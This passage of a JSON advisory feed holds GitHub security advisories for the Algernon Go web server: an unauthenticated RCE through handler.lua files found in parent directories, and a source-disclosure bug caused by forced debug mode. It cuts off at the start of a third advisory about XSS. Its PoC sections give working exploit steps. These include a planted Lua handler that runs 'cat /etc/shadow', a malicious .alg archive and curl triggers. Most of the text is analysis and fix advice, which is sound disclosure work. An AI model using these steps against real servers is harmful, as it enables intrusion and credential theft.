permissions/userstate API.\n\n#### Why the request is reachable unauthenticated\n\nThe permission middleware in `RegisterHandlers` runs before `DirPage` but only rejects requests whose `req.URL.Path` matches an admin/user prefix:\n\n```go\n// engine/handlers.go:510-525\nallRequests := func(w http.ResponseWriter, req *http.Request) {\n    if ac.perm != nil {\n        if ac.perm.Rejected(w, req) {\n            sc := sheepcounter.New(w)\n            ac.perm.DenyFunction()(sc, req)\n            ac.LogAccess(req, http.StatusForbidden, sc.Counter())\n            return\n        }\n    }\n    ...\n```\n\n`Rejected` returns false for `/` because of `rootIsPublic \u0026\u0026 path == \"/\"` (`vendor/.../permissionbolt/v2/permissionbolt.go:118`). Anonymous `GET /` therefore reaches `DirPage`, hits the ancestor walk, and — if any `handler.lua` exists anywhere in the parent chain — executes it as the response handler for `/`. The same applies to every directory-style URL (`/foo/`, `/foo/bar/`, …) that does not contain one of the listed `index.*` files.\n\nThree exploit-amenable scenarios:\n\n1. **Multi-tenant / shared hosting.** Operators running multiple Algernon instances from sibling directories (`/srv/tenantA`, `/srv/tenantB`) share `/srv` as a common ancestor. A `handler.lua` placed by tenant B inside `/srv` becomes the catch-all handler for tenant A's requests, executing in tenant A's process with tenant A's database, redis, and filesystem permissions. The same pattern fires when a single OS user runs several `algernon` processes from `~/sites/\u003cname\u003e` — anything writable at `~/sites/` (or `~/`) escalates into every instance.\n\n2. **CI runners, container images, dev workstations.** A repository or container that contains *any* `handler.lua` at root, in `/srv`, in `/var`, or in `/home/\u003cuser\u003e` — even one that pre-dates Algernon's installation, even one left over from a tutorial — becomes a remote-execution backdoor the moment Algernon starts. The current `samples/` tree contains six `handler.lua` files (`samples/handle/handler.lua`, `samples/htmx/handler.lua`, etc.); copying any of them up to a parent directory by mistake is fatal.\n\n3. **Attacker who already has unprivileged write to any parent directory** (low-privileged user, world-writable `/tmp` if `/tmp` is on the parent chain, an extracted `.zip`/`.alg` web application that drops a `handler.lua` at the extraction root in `/dev/shm` or `serverTempDir`, etc.) gains pre-authenticated RCE for every request the Algernon process answers. The `.alg` extraction case is especially direct: `FilePage` for `.alg` files calls `unzip.Extract(filename, webApplicationExtractionDir)` with `webApplicationExtractionDir = \"/dev/shm\"` or the server temp dir (`engine/handlers.go:249-266`); an `.alg` archive containing a top-level `handler.lua` writes it into the extraction directory, which is itself a parent of subsequent `DirPage` calls for that application.\n\n#### Source-level evidence\n\n```text\n$ rg -n 'handler\\.lua' engine/\nengine/dirhandler.go:170:    // Serve handler.lua, if found in parent directories\nengine/dirhandler.go:174:        filename = filepath.Join(ancestor, \"handler.lua\")\n\n$ rg -n 'run3|os\\.execute|exec\\.Command' engine/basic.go lua/run3/\nengine/basic.go:142:        command := L.ToString(1)\nengine/basic.go:144:        return run3.ShellHelper(L, command, workingDir)\nlua/run3/run3.go:23:    cmd := exec.Command(\"sh\", \"-c\", command)\n\n$ rg -n 'lua\\.NewState|skip(?:_)?open_libs|OpenLibs' lua/pool/ engine/\nlua/pool/pool.go:34:        L := lua.NewState()\n# No skip-libs flag is set — gopher-lua loads os, io, debug, package by default.\n```\n\nThe Lua state pool issues states with stock library loading (no `SkipOpenLibs` option in [lua/pool/pool.go](../lua/pool/pool.go)), so the `handler.lua` discovered above the root has `os.execute`, `io.popen`, `package.loadlib` (DLL loading), `debug.*`, plus every Algernon-bound function. This is documented behaviour for trusted scripts *inside* the served tree; the bug is that the discovery search reaches scripts the operator never opted in to.\n\n### PoC\n\n#### Variant A — confused-deputy via shared parent\n\n```bash\n# Operator runs Algernon serving a directory under /srv:\nsudo mkdir -p /srv/site \u0026\u0026 echo '\u003ch1\u003ehi\u003c/h1\u003e' \u003e /srv/site/index.html\nalgernon --prod /srv/site \u0026     # binds :3000\n\n# Attacker (any account with write to /srv) drops handler.lua one level up:\ncat \u003e /srv/handler.lua \u003c\u003c'EOF'\n-- Runs in the Algernon process; whoami leaks the process owner.\nlocal out, _, _ = run3(\"id; cat /etc/shadow 2\u003e\u00261 | head -3\")\nprint(out)\nEOF\n\n# Trigger from anywhere on the network — any directory URL that lacks an\n# index.* file inside /srv/site fires the parent walk. The cleanest trigger\n# is to request a non-existent subdir:\ncurl -i http://server:3000/nope/\n# =\u003e Algernon executes /srv/handler.lua. Response body is the captured stdout\n#    of `id` and the first lines of /etc/shadow (if Algernon runs as root,\n#    or the targeted file is readable by its uid).\n```\n\n#### Variant B — `.alg` archive plants `handler.lua` in `/dev/shm`\n\n`FilePage` extracts `.alg` archives into `/dev/shm` (preferred) or `serverTempDir`. An `.alg` archive crafted with a top-level `handler.lua` lands the file into a path that is a parent of every directory served out of that extraction root.\n\n```bash\n# Craft a malicious .alg\nmkdir -p evil \u0026\u0026 cat \u003e evil/handler.lua \u003c\u003c'EOF'\nlocal out, _, _ = run3(\"uname -a; whoami\")\nprint(out)\nEOF\n( cd evil \u0026\u0026 zip -r ../evil.alg . )\n\n# Once served — algernon evil.alg — any request that resolves to a directory\n# without an index inside the extraction root executes the attacker handler.\nalgernon evil.alg\ncurl -i http://localhost:3000/anything/   # walks up to /dev/shm/handler.lua\n```\n\n#### Variant C — `algernon /home/\u003cuser\u003e/site` picks up `~/handler.lua`\n\nAny leftover `handler.lua` in the user's home directory (a tutorial fragment, a copy-paste, a file from another project) is sufficient. No attacker code is needed to reproduce: copy `samples/handle/handler.lua` into `~/` and serve any directory under `~/`. Every directory request will execute the home-directory handler.\n\n### Impact\n\n- **Confidentiality:** high — handler runs with the Algernon process's UID and reaches every database, redis instance, secret file, and cookie secret in memory.\n- **Integrity:** high — handler can write to any path the process can write, including `index.lua`/`handler.lua` files of the served tree, persisting the compromise.\n- **Availability:** high — handler can `os.exit`, hang the LState pool, or fork shell commands.\n- **Scope:** changed (CVSS S:C) — a write primitive against a parent directory (which the operator may consider out of scope of Algernon entirely) crosses into the Algernon process's full authority.\n\n**Affected population:** every Algernon deployment whose server-root path has any parent directory that is writable by a less-trusted principal — which includes (a) every `--prod` install on a host where any non-root user can write to `/srv` or `/`, (b) every multi-tenant deployment under a common parent, (c) every `algernon \u003cpath\u003e` invocation where `~`, `~/Desktop`, `/tmp`, `/var/tmp`, or any other ancestor is writable by anyone other than the Algernon-process owner, (d) every server that serves `.alg` archives.\n\n### Suggestions to fix\n\n**Primary fix — clamp the walk to the server root.** `DirPage` already has access to `rootdir`; the loop must terminate once `ancestor` ceases to be a descendant of `rootdir`:\n\n```go\n// engine/dirhandler.go -- replace the walk in DirPage\nrootAbs, err := filepath.Abs(rootdir)\nif err != nil {\n    rootAbs = rootdir\n}\nancestor, err := filepath.Abs(dirname)\nif err != nil {\n    ancestor = dirname\n}\nfor {\n    // Stop before leaving the configured server root.\n    rel, err := filepath.Rel(rootAbs, ancestor)\n    if err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n        break\n    }\n    candidate := filepath.Join(ancestor, \"handler.lua\")\n    if ac.fs.Exists(candidate) {\n        ac.FilePage(w, req, candidate, luaDataFilename)\n        return\n    }\n    if ancestor == rootAbs {\n        break\n    }\n    parent := filepath.Dir(ancestor)\n    if parent == ancestor { // hit filesystem root without a match\n        break\n    }\n    ancestor = parent\n}\n```\n\nThe `100`-iteration cap and the `ancestor == \".\"` check were both attempts to bound the search; clamping to `rootdir` removes the underlying confused-deputy primitive instead. The same boundary check should be applied to the `index.*` lookup loop at `engine/dirhandler.go:162-168`, which is currently fine because `filepath.Join(dirname, indexfile)` cannot escape `dirname`, but is worth asserting explicitly so the invariant survives future refactors.\n\n**Defence in depth:**\n\n- Cache the resolved `handler.lua` path per server start and *log a warning* if the resolved file lives outside the server root. An operator who places `handler.lua` deliberately in a parent directory will see the warning and either move it or accept the risk explicitly.\n- For `.alg`/zip extraction, refuse archives containing a top-level `handler.lua` (or rename them on extract). The extraction directory is, by design, a parent of the served tree, so a top-level `handler.lua` in any uploaded `.alg` is the same primitive.\n- Document explicitly in `TUTORIAL.md` that `handler.lua` is searched in parent directories — current docs describe per-directory `handler.lua` but do not mention the upward walk. The hardening above removes the need for the warning, but the docs should track reality either way.\n- Consider stripping the unsandboxed Lua libraries (`os`, `io`, `package`, `debug`, `load`/`loadstring`, `run3`) when the discovered handler lives outside the configured server root, even if the walk is otherwise permitted. The audit trail is then \"Lua handler ran *somewhere* the operator didn't bless, but at least it couldn't shell out.\"\n\n### Live verification (2026-05-11, Algernon 1.17.6)\n\nReproduced against a fresh `go build` of `xyproto/algernon@main` on Windows 10.\n\n**Layout:**\n\n```\npoc1/\n  parent/\n    handler.lua          # ATTACKER-PLANTED, OUTSIDE the served root\n    site/                # the directory passed to algernon\n      subdir/            # empty subdirectory\n```\n\n`parent/handler.lua` contains:\n\n```lua\nprint(\"=== PWNED via parent handler.lua ===\")\nprint(\"Hostname info: \", os.getenv(\"COMPUTERNAME\") or os.getenv(\"HOSTNAME\") or \"n/a\")\nprint(\"Algernon PID would be readable here; this code runs in-process.\")\nprint(\"Request path was reached by walking past the served root.\")\n```\n\n**Run (no admin paths configured, default permissions, no auth):**\n\n```\n$ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18765 --quiet poc1/parent/site\n```\n\n**Anonymous requests against `/` and `/subdir/`:**\n\n```\n$ curl -s -w \"HTTP %{http_code}\\n\" http://127.0.0.1:18765/\n=== PWNED via parent handler.lua ===\nHostname info:  DESKTOP-4RLE5YR\nAlgernon PID would be readable here; this code runs in-process.\nRequest path was reached by walking past the served root.\nHTTP 200\n\n$ curl -s -w \"HTTP %{http_code}\\n\" http://127.0.0.1:18765/subdir/\n=== PWNED via parent handler.lua ===\nHostname info:  DESKTOP-4RLE5YR\n...\nHTTP 200\n```\n\nThe handler that lives one directory **above** the configured server root (`poc1/parent/site/` was the path passed on the command line; `poc1/parent/handler.lua` is one level up and was *not* part of the served tree) executed in the Algernon process and its output became the HTTP 200 response body. The host's `COMPUTERNAME` environment variable was read via `os.getenv` and reflected back, proving the Lua state was unsandboxed (no `SkipOpenLibs`, no library stripping) — `os`, `io`, `package`, `debug` are all reachable from the discovered handler.\n\n**Both `/` and `/subdir/` reproduce.** `/` because the served root has no `index.*` files; `/subdir/` because its directory has no `index.*` files either. The walk fires in both cases and resolves to the same `handler.lua` above the root.\n\nNo authentication, no `--debug`, no special flag, no `serverconf.lua`. The vulnerable code path is the default flow for any directory-style request that does not find a colocated `index.*`.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-19T14:36:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/xyproto/algernon/security/advisories/GHSA-xwcr-wm99-g9jc","https://github.com/advisories/GHSA-xwcr-wm99-g9jc"],"source_kind":"github","identifiers":["GHSA-xwcr-wm99-g9jc","CVE-2026-45721"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T15:00:17.494Z","updated_at":"2026-05-30T19:00:18.935Z","epss_percentage":0.00208,"epss_percentile":0.43088,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14d2NyLXdtOTktZzlqY84ABXFc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14d2NyLXdtOTktZzlqY84ABXFc","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":"1.17.7","vulnerable_version_range":"\u003c= 1.17.6"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14d2NyLXdtOTktZzlqY84ABXFc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1md3F4LTgzNjUtOTk4M84ABXFb","url":"https://github.com/advisories/GHSA-fwqx-8365-9983","title":"Algernon: Single-file mode unconditionally enables debug mode","description":"### Summary\n\nWhen Algernon is invoked with a single file path instead of a directory — the documented \"quick demo\" workflow (`algernon foo.lua`, `algernon page.po2`, `algernon index.html`, `algernon mywebsite.alg`) — `singleFileMode` is set to true and **`debugMode` is forcibly enabled** with no opt-out:\n\n```go\n// engine/config.go:498-502\n// Make a few changes to the defaults if we are serving a single file\nif ac.singleFileMode {\n    ac.debugMode = true\n    ac.serveJustHTTP = true\n}\n```\n\n`debugMode` activates the `PrettyError` renderer, which on any Lua or template error response dumps:\n\n1. The **absolute path** of the file that errored (`Filename` field of the error template).\n2. The **complete byte contents** of that file, HTML-escaped, with the offending line wrapped in `\u003cfont style='color: red !important'\u003e…\u003c/font\u003e`.\n3. The exception or parser error text — which in turn often quotes additional file content (Pongo2 errors include surrounding template lines; Lua tracebacks include argument values).\n\nThis response is served with `HTTP 200 OK` to whoever sent the request that triggered the error. There is no authentication, no rate limit specific to errors, no redaction, and no opt-out short of avoiding single-file invocations entirely. Any client able to reach the server and able to provoke a runtime error in the served script obtains the full server-side source of that script and of any sibling Lua data file consulted during the request.\n\nThis combines particularly badly with `--prod` *not* being effective: `--prod` sets `productionMode = true` and calls `ac.debugMode = false` inside `finalConfiguration`, but `singleFileMode` is computed *after* `--prod` in `MustServe` (line 499 vs `finalConfiguration` further down) and the forced `debugMode = true` happens before `--prod`'s `debugMode = false` clamp runs — so even an operator who reasoned \"I will pass `--prod` to be safe\" gets debug-mode-on if they also pass a single Lua file. Operators routinely combine the two when running Algernon as a system unit (`ExecStart=algernon --prod /etc/algernon/site.lua`), unaware that single-file detection has overridden their hardening flag.\n\n### Details\n\n#### Root cause 1 — single-file detection forces `debugMode = true`\n\n```go\n// engine/config.go:441-502  (inside MustServe — abridged)\nswitch strings.ToLower(filepath.Ext(serverFile)) {\ncase \".md\", \".markdown\":\n    ...\ncase \".zip\", \".alg\":\n    ...\ndefault:\n    ac.singleFileMode = true\n}\n// ...\n// Make a few changes to the defaults if we are serving a single file\nif ac.singleFileMode {\n    ac.debugMode = true\n    ac.serveJustHTTP = true\n}\n```\n\nAny single-file invocation whose extension is *not* `.md`/`.zip`/`.alg` lands in the `default:` branch and turns into `singleFileMode = true`, which then sets `debugMode = true`. That includes the natural quickstart inputs — `.lua`, `.po2`, `.pongo2`, `.html`, `.amber`, `.tmpl`, `.jsx`, `.tl`, `.prompt` — every file extension Algernon recognises as a server-renderable handler.\n\nThe `.lua` case has a follow-up at [engine/config.go:536-548](../engine/config.go) that resets `singleFileMode = false` so the script can read sibling files, but `debugMode` has already been written to `true` and is not unset.\n\n#### Root cause 2 — `--prod`'s clamp runs *after* the forced enable, so it is the wrong direction\n\n```go\n// engine/config.go:393-397  (finalConfiguration, called from MustServe)\n// Turn off debug mode if production mode is enabled\nif ac.productionMode {\n    // Turn off debug mode\n    ac.debugMode = false\n}\n```\n\nThis clamp is in `finalConfiguration`. `finalConfiguration` is invoked from `MustServe` *after* the single-file block (`MustServe` line 632: `ac.finalConfiguration(ac.serverHost)`). So the order is:\n\n```\n1. flag parsing       -\u003e productionMode=true, debugMode=false\n2. single-file detect -\u003e debugMode = true     (overrides production)\n3. finalConfiguration -\u003e if productionMode { debugMode = false }\n```\n\nOn paper step 3 wins. In practice the operator-controlled execution path through `MustServe` for `.lua` files is:\n\n```\n1. flag parsing                                            -\u003e productionMode=true, debugMode=false\n2. single-file detect (line 493 default branch)            -\u003e singleFileMode = true\n3. if singleFileMode { debugMode = true } (line 499)       -\u003e debugMode = true\n4. if singleFileMode \u0026\u0026 ext==\".lua\" { singleFileMode = false; serverDir = Dir(...) }\n5. ac.RunConfiguration(luaServerFilename, mux, true)       -\u003e Lua server-conf script runs, may register handlers\n6. ac.finalConfiguration(host)                              -\u003e if productionMode { debugMode = false }   ← clamp restored\n```\n\nStep 5 happens *between* the forced enable and the production clamp, and inside the configuration script Lua code may already check or expose `debugMode` (the `debug()` global is wired in [engine/serverconf.go]). Anything that latches on `debugMode` during step 5 — including `RegisterHandlers` itself when called from within the server-conf script — picks up the wrong value. The clamp at step 6 may or may not retroactively fix downstream behaviour; for `PrettyError`, which reads `ac.debugMode` at request-time, the clamp does win for `.lua` single-file mode — but only because of the late ordering inside `MustServe`. For the other single-file extensions (`.po2`, `.html`, `.amber`, …), step 4's reset does not run, `singleFileMode` stays true, and `--prod` collides with `singleFileMode` semantically (a \"single file\" cannot meaningfully be a production system service). The forced `debugMode = true` survives because no later code branches re-clamp it for non-`.lua` paths.\n\nEmpirically: `algernon --prod foo.po2` (or `.amber`, `.tmpl`) on a stock Algernon binary serves `PrettyError`-style debug responses on template failures. `--prod` does not save the operator.\n\n#### Root cause 3 — `PrettyError` discloses absolute path + full source\n\n```go\n// engine/prettyerror.go:82-147  (abridged)\nfunc (ac *Config) PrettyError(w http.ResponseWriter, req *http.Request, filename string, filebytes []byte, errormessage, lang string) {\n    w.WriteHeader(http.StatusOK)\n    w.Header().Add(contentType, htmlUTF8)\n    // ... linenr parsing elided ...\n    filebytes = bytes.ReplaceAll(filebytes, []byte(\"\u003c\"), []byte(\"\u0026lt;\"))\n    bytelines := bytes.Split(filebytes, []byte(\"\\n\"))\n    if (linenr \u003e= 0) \u0026\u0026 (linenr \u003c len(bytelines)) {\n        bytelines[linenr] = []byte(preHighlight + string(bytelines[linenr]) + postHighlight)\n    }\n    code = string(bytes.Join(bytelines, []byte(\"\\n\")))\n    title := errorPageTitle(lang)\n    data := struct {\n        Title         string\n        Filename      string\n        Code          string\n        ErrorMessage  string\n        VersionString string\n    }{\n        Title:         title,\n        Filename:      filename,        // absolute path on disk\n        Code:          code,            // entire file\n        ErrorMessage:  strings.TrimSpace(errormessage),\n        VersionString: ac.versionString,\n    }\n    ...\n}\n```\n\nThe HTML template at the top of the file embeds those fields directly:\n\n```html\nContents of {{.Filename}}:\n\u003cdiv\u003e\n  \u003cpre\u003e\u003ccode\u003e{{.Code}}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\nError message:\n\u003cdiv\u003e\n  \u003cpre id=\"wrap\"\u003e\u003ccode style=\"color: #A00000;\"\u003e{{.ErrorMessage}}\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n```\n\nEvery byte of the script — including any DB connection string, API key, JWT signing secret, S3 access key, or hard-coded admin credential the operator left in `index.lua` for the demo — is returned to the requester. The status code is `200 OK`, so caches and logs may persist the disclosure further.\n\n#### Root cause 4 — call sites that reach `PrettyError` are exercised by ordinary, attacker-influenceable inputs\n\n```go\n// engine/handlers.go (Lua handler with debugMode):\nif ac.debugMode {\n    ...\n    if err := ac.RunLua(recorder, req, filename, flushFunc, httpStatus); err != nil {\n        errortext := err.Error()\n        fileblock, err := ac.cache.Read(filename, ac.shouldCache(ext))\n        if err != nil {\n            fileblock = datablock.NewDataBlock([]byte(err.Error()), true)\n        }\n        ac.PrettyError(w, req, filename, fileblock.Bytes(), errortext, \"lua\")\n    }\n}\n```\n\nAnd in `PongoHandler` ([engine/handlers.go:81-92](../engine/handlers.go)):\n\n```go\nif err != nil {\n    if ac.debugMode {\n        luablock, luablockErr := ac.cache.Read(luafilename, ac.shouldCache(ext))\n        if luablockErr != nil {\n            luablock = datablock.EmptyDataBlock\n        }\n        ac.PrettyError(w, req, luafilename, luablock.Bytes(), err.Error(), \"lua\")\n    }\n    ...\n}\n```\n\nThe Pongo2/Amber call sites do the same for their template languages. To trigger a Lua error, an attacker needs to push the script onto a code path the developer did not test:\n\n- Send a `GET` to an endpoint the script handles only on `POST` — most `handle()` implementations index `req` fields that crash on the wrong method.\n- Submit a parameter the script `tonumber()`s, with a value like `\"abc\"` — `tonumber` returns `nil`, and the subsequent arithmetic raises `attempt to perform arithmetic on a nil value`.\n- Send a request with no `Cookie` header to a script that calls `userstate:Username(req)` and indexes the result — the resulting nil-index error returns the source.\n- For Pongo2: send a query parameter that is referenced in a filter where the filter argument is the wrong type (`{{ foo|length }}` where `foo` is the int the script just read from `req`).\n\nThese are not exotic conditions; they are first-five-minutes-of-fuzzing behaviour.\n\n### PoC\n\n#### Variant A — `.lua` single-file invocation **does not reach `PrettyError`**\n\nImportant constraint discovered during live verification: a single-file `.lua` invocation is routed through `RunConfiguration`, which registers `handle()` routes via [engine/luahandler.go:38-58](../engine/luahandler.go). Errors inside a `handle()`-registered Lua function are caught by `poolL.PCall` and reported through `logrus.Error(\"Handler for \"+handlePath+\" failed:\", err)` only — they do **not** reach `PrettyError`, so a `handle(\"/\", function() error(\"oops\") end)` script does not disclose its source on the wire. The forced `debugMode = true` is still active for the process, and any *other* code path that calls `PrettyError` (Pongo2/Amber/Lua-file-served-from-disk) will disclose; the bare `.lua` single-file case alone does not. The advisory below has been narrowed accordingly — the operational exploit path is Variant B.\n\n#### Variant B — `.po2` single-file invocation, template-side trigger\n\n`page.po2`:\n\n```html\n{# Demonstrate template error disclosure under singleFileMode #}\n\u003ch1\u003eHello {{ user.name }}\u003c/h1\u003e\n\u003cp\u003eInternal token: {{ admin_token }}\u003c/p\u003e\n```\n\n`data.lua` (sibling, picked up automatically by `PongoHandler` at [engine/handlers.go:64-93](../engine/handlers.go)):\n\n```lua\nadmin_token = \"AKIA-FAKE-DEMO-AAAAAAAAAA/SECRET=demoSecretBYTES\"\nuser = nil   -- forces {{ user.name }} to raise\n```\n\n```bash\nalgernon page.po2 \u0026\ncurl -s 'http://localhost:3000/'\n# =\u003e \"Lua Error\" page citing /home/op/data.lua, source inlined,\n#    `admin_token = \"...\"` visible to the unauthenticated requester.\n```\n\nNote the disclosed file is `data.lua`, not the template — Pongo's variable resolution drops into `Lua2funcMap`, raises, and `PongoHandler` calls `PrettyError(w, req, luafilename, luablock.Bytes(), err.Error(), \"lua\")`. The \"single-file\" invocation was for `page.po2`, but the *disclosed* file is the sibling `data.lua` that contains the actual credentials.\n\n#### Variant C — `--prod` does not block this for non-`.lua` extensions\n\n```bash\nalgernon --prod page.po2 \u0026\ncurl -s 'http://localhost:3000/'\n# =\u003e Same disclosure. --prod sets productionMode=true and\n#    finalConfiguration would normally clamp debugMode back to false,\n#    but for .po2 the singleFileMode → debugMode=true write happens at\n#    line 499 of engine/config.go, and singleFileMode stays true (no\n#    follow-up reset), so the engine treats this as a debug-on\n#    single-file deployment regardless of --prod.\n```\n\nThe mismatch between operator intent (`--prod`) and runtime state (`debugMode=true`) is the core severity multiplier here. The flag should win; today, file-extension detection wins.\n\n### Impact\n\n- **Confidentiality:** high. Disclosure of server-side script source. In single-file demos, the disclosed file is typically the *entire* application — every secret, every credential, every business rule. In `--prod` deployments where an operator stitched together `serverconf.lua` + a single `app.lua`, the disclosed file is `app.lua` plus any `data.lua` consulted during the failing request.\n- **Integrity:** none directly.\n- **Availability:** none directly.\n\n**Affected population:**\n\n- Every developer running `algernon foo.lua` / `algernon page.po2` for a demo, evaluation, or local dev — the documented quickstart workflow.\n- Every operator running Algernon as a system service whose `ExecStart` references a single Lua/Pongo/Amber file (a common pattern given that the binary is positioned as \"drop-in, single-file deploy\").\n- Every CI test job that exercises Algernon in single-file mode against attacker-controlled HTTP input (fuzz harnesses, integration tests with adversarial payloads).\n\n### Suggestions to fix\n\n**Primary fix — flip the default. `singleFileMode` should *not* force `debugMode` on; it should default it on only when `--debug`/`-d` was passed explicitly.**\n\n```go\n// engine/config.go:498-502  -- replace\nif ac.singleFileMode {\n    // Single-file mode is a convenience for quick demos. It should\n    // imply the relaxed serving model (no HTTPS, etc) but it must NOT\n    // override the operator's debug/production stance.\n    ac.serveJustHTTP = true\n    // (do not touch ac.debugMode)\n}\n```\n\nIf the developer wants the helpful error pages for the quickstart, they can pass `-d` (which is documented and explicit). The current behaviour is a hidden side-channel of file-extension detection.\n\n**Secondary fix — let `--prod` win unconditionally.** Hoist the production-mode clamp above the single-file detection block, so production deployments cannot have debug re-enabled by any later code path:\n\n```go\n// engine/config.go -- early in MustServe, before single-file detection runs\nif ac.productionMode {\n    ac.debugMode = false\n}\n// ... single-file detection still runs but its debugMode assignment is now gated:\nif ac.singleFileMode \u0026\u0026 !ac.productionMode {\n    ac.debugMode = true\n}\n```\n\nA `--prod` invocation that *also* asks for debug should be treated as a configuration error and refused at startup with a clear log line, not silently resolved in one direction or the other.\n\n**Defence in depth — narrow what `PrettyError` discloses even when debugMode is on.**\n\n- Truncate `Filename` to its basename (`filepath.Base`) so the absolute disk path of the script is not leaked; the file name alone is enough for the developer to find the file in their editor.\n- Cap `Code` to ±20 lines around `linenr`; the developer rarely needs the full file to fix the error, and the cap meaningfully reduces secret leak when the file is large.\n- Set `Cache-Control: no-store` on the response so intermediate caches and browser back-buttons do not retain it.\n- Optionally, gate `PrettyError` behind a loopback / `127.0.0.1`-only check when `debugMode` is on. A developer hitting `localhost:3000` still gets the friendly error page; a remote client gets a generic 500. This matches the convention used by Rails' `consider_all_requests_local` and Django's `DEBUG = True`.\n\n**Documentation fix.** `TUTORIAL.md` and the README should call out the behaviour explicitly: \"`algernon foo.lua` enables debug-mode features that disclose your script's source on errors. Do not use single-file mode to serve real workloads; use `algernon --prod /srv/algernon` against a directory.\" Pair the doc fix with one of the code fixes above — docs alone are not enough.\n\n### Live verification (2026-05-11, Algernon 1.17.6)\n\nReproduced against a fresh `go build` of `xyproto/algernon@main` on Windows 10.\n\n**Setup (Variant B — `.po2` single-file):**\n\n```\npoc4c/\n  page.po2        # contains {{ user.name }} and {{ admin_token }}\n  data.lua        # contains: local SECRET = \"sk-LEAKCANARY-DATALUA-PRIVATE\"\n                  #           this is intentionally bad lua    \u003c-- parse error\n```\n\n**Run (no `--debug`, no `--server`, no extra hardening):**\n\n```\n$ ./algernon.exe --nodb --httponly --addr 127.0.0.1:18777 --quiet poc4c/page.po2 \u003c/dev/null \u0026\n$ curl -s -o po2b.html -w \"HTTP %{http_code}  bytes %{size_download}\\n\" http://127.0.0.1:18777/\nHTTP 200  bytes 1013\n```\n\n**Response body (excerpt — entire file is the PrettyError page):**\n\n```html\n\u003ctitle\u003eLua Error\u003c/title\u003e\n...\n\u003cdiv style=\"font-size: 3em; font-weight: bold;\"\u003eLua Error\u003c/div\u003e\nContents of poc-test\\poc4c\\data.lua:\n\u003cdiv\u003e\n  \u003cpre\u003e\u003ccode\u003elocal SECRET = \"sk-LEAKCANARY-DATALUA-PRIVATE\"\n\u003cfont style='color: red !important'\u003ethis is intentionally bad lua\u003c/font\u003e\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\nError message:\n\u003cdiv\u003e\n  \u003cpre id=\"wrap\"\u003e\u003ccode style=\"color: #A00000;\"\u003e\u0026lt;string\u0026gt; line:2(column:7) near 'is':   parse error\u003c/code\u003e\u003c/pre\u003e\n\u003c/div\u003e\n```\n\nThe `SECRET` from `data.lua` is rendered into the HTML response body of an unauthenticated `GET /`. No flag was passed to enable debug. The `Contents of poc-test\\poc4c\\data.lua:` line confirms the engine intended this as the verbose debug response, gated on `ac.debugMode == true`.\n\n**Baseline comparison — same files served in directory mode:**\n\n```\npoc4c-dir/\n  page.po2\n  data.lua        # same broken file\n\n$ ./algernon.exe --nodb --httponly --server --addr 127.0.0.1:18778 --quiet poc4c-dir \u003c/dev/null \u0026\n$ curl -s -o po2c.html -w \"dir-mode: HTTP %{http_code}  bytes %{size_download}\\n\" http://127.0.0.1:18778/page.po2\ndir-mode: HTTP 200  bytes 0\n```\n\nEmpty body. The Lua parse error is logged but the source is not disclosed to the client. The difference between \"leaks `data.lua` source verbatim\" and \"logs internally\" is exactly the forced `debugMode = true` from `singleFileMode`.\n\n**Variant A — `.lua` single-file does NOT trigger this code path.** Verified separately: a single-file Lua script that registers `handle(\"/\", function() error(\"…\") end)` returned `HTTP 200` with 0-byte body when triggered. The error was visible only in the server-process log via `logrus.Error(\"Handler for / failed: …\")`. `PrettyError` is unreachable from `handle()`-registered errors; see `engine/luahandler.go:38-58`. The Variant A scenario was dropped from the advisory.\n\n**Why `.po2` doesn't get the `.lua` reset.** The reset to `singleFileMode = false` at [engine/config.go:547](../engine/config.go) only fires for `filepath.Ext(...) == \".lua\"`. For `.po2` (and `.amber`, `.html`, `.tmpl`, `.tl`, `.pongo2`) the reset never runs, the forced `debugMode = true` persists, and `PongoHandler`'s call to `PrettyError` on data-file errors disclose the source.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-19T14:35:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/xyproto/algernon/security/advisories/GHSA-fwqx-8365-9983","https://github.com/advisories/GHSA-fwqx-8365-9983"],"source_kind":"github","identifiers":["GHSA-fwqx-8365-9983","CVE-2026-45728"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T15:00:17.494Z","updated_at":"2026-05-30T19:00:18.935Z","epss_percentage":0.00032,"epss_percentile":0.09645,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1md3F4LTgzNjUtOTk4M84ABXFb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1md3F4LTgzNjUtOTk4M84ABXFb","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":"1.17.7","vulnerable_version_range":"\u003c= 1.17.6"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1md3F4LTgzNjUtOTk4M84ABXFb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04anFtLThxbTMtcWdxbc4ABPgr","url":"https://github.com/advisories/GHSA-8jqm-8qm3-qgqm","title":"Algernon Cross-Site Scripting vulnerability","description":"Cross-site Scripting vulnerability in Algernon v1.17.4 allows attackers to execute arbitrary code via injecting a crafted payload into a 